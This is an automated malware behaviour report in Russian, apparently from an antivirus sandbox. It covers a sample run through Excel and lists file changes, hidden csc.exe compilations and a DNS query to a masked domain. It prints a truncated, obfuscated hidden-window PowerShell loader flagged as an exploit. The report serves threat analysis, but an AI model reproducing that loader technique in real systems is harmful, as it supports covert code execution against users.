Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function sebd2a { param($n4bedf) $k786368 = 'qa15df2';$c28b55 = ''; for ($i = 0; $i -lt $n4bedf.length; $i+=2) { $ae5bda8 = [convert]::ToByte($n4bedf.Substring($i, 2),...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\8jyiy4fp.0.cs
- %TEMP%\res5744.tmp
- %TEMP%\csc5734.tmp
- %TEMP%\lfkjzczz.out
- %TEMP%\lfkjzczz.cmdline
- %TEMP%\lfkjzczz.0.cs
- %TEMP%\package.json
- %TEMP%\i2i1ygnz.dll
- %TEMP%\res3fc5.tmp
- %TEMP%\csc3fb4.tmp
- %TEMP%\i2i1ygnz.out
- %TEMP%\i2i1ygnz.cmdline
- %TEMP%\i2i1ygnz.0.cs
- %TEMP%\djf-9whs.dll
- %TEMP%\res294f.tmp
- %TEMP%\csc293e.tmp
- %TEMP%\djf-9whs.out
- %TEMP%\djf-9whs.cmdline
- %TEMP%\djf-9whs.0.cs
- %TEMP%\8jyiy4fp.dll
- %TEMP%\res1f0e.tmp
- %TEMP%\csc1efd.tmp
- %TEMP%\8jyiy4fp.out
- %TEMP%\8jyiy4fp.cmdline
- %TEMP%\lfkjzczz.dll
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.word\~wrf{6f85c5b9-2c2e-4c55-b2c1-2f6d3e9d3be2}.tmp
Удаляет следующие файлы
- %TEMP%\res1f0e.tmp
- %TEMP%\lfkjzczz.out
- %TEMP%\lfkjzczz.pdb
- %TEMP%\lfkjzczz.dll
- %TEMP%\lfkjzczz.0.cs
- %TEMP%\csc5734.tmp
- %TEMP%\res5744.tmp
- %TEMP%\i2i1ygnz.pdb
- %TEMP%\i2i1ygnz.cmdline
- %TEMP%\i2i1ygnz.out
- %TEMP%\i2i1ygnz.0.cs
- %TEMP%\i2i1ygnz.dll
- %TEMP%\csc3fb4.tmp
- %TEMP%\lfkjzczz.cmdline
- %TEMP%\res3fc5.tmp
- %TEMP%\djf-9whs.cmdline
- %TEMP%\djf-9whs.0.cs
- %TEMP%\djf-9whs.pdb
- %TEMP%\djf-9whs.out
- %TEMP%\csc293e.tmp
- %TEMP%\res294f.tmp
- %TEMP%\8jyiy4fp.0.cs
- %TEMP%\8jyiy4fp.dll
- %TEMP%\8jyiy4fp.pdb
- %TEMP%\8jyiy4fp.out
- %TEMP%\8jyiy4fp.cmdline
- %TEMP%\csc1efd.tmp
- %TEMP%\djf-9whs.dll
- %TEMP%\package.json
Сетевая активность
UDP
- DNS ASK tr####agleperu.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8jyiy4fp.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F0E.tmp" "%TEMP%\CSC1EFD.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\djf-9whs.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES294F.tmp" "%TEMP%\CSC293E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i2i1ygnz.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3FC5.tmp" "%TEMP%\CSC3FB4.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lfkjzczz.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5744.tmp" "%TEMP%\CSC5734.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8jyiy4fp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F0E.tmp" "%TEMP%\CSC1EFD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\djf-9whs.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES294F.tmp" "%TEMP%\CSC293E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i2i1ygnz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3FC5.tmp" "%TEMP%\CSC3FB4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lfkjzczz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5744.tmp" "%TEMP%\CSC5734.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
